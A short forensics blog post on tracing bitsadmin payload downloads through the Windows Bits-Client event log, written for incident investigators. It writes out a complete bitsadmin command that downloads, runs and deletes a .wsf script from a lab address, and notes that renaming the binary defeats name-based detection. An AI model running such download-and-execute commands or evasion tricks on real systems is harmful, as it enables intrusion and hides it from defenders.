Monday, 11 March 2019

Initial Access & Execution - Windows default traces of bitsadmin execution

This short post is useful for when investigating an infected machine, and you suspect that Bitsadmin.exe (windows legit utility) was used to perform the download of the 1st stage payload but you can't find processes execution logs 4688 to confirm or deny this theory. 

To search for the relevant indicators we will execute the following command that will download and execute a 1st stage .wsf script:

bitsadmin /transfer profile.jpg /download /priority high http://192.168.254.128:8443/profile.jpg.wsf %temp%\profile.jpg.wsf & start /wait %temp%\profile.jpg.wsf & del %temp%\profile.jpg.wsf




As you can see above, the download completed successfully.

We already knew that there is windows events channel log file named "Bits-Client", given the naming similarity we decided to check it closely:



The log file content can be found here:

%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx

Luckily for us, all needed evidences of bitsadmin download activity were recorded there:







As you can see above, events 3, 59 and 60 records bitsadmin transfer job's life-cycle, including the name of the process, the download URL and the result of the transfer (success: status code will be equal to 0x0, failure it will be marked as a warning with a failure code).

In order to verify the resiliency of those artifacts, we decided to rename bitsadmin.exe and run it from a different path:


The download operation was successful, and verifying sysmon process creation events we can see:


As you can see above, detection based on combining process name with command line can be easily bypassed (i.e. ImageName=bitsadmin and commandline contains "transfer").

Going back to bits-client eventlogs we can see that the renamed bitsadmin.exe utility was captured, which is good for us:



References:

No comments:

Post a Comment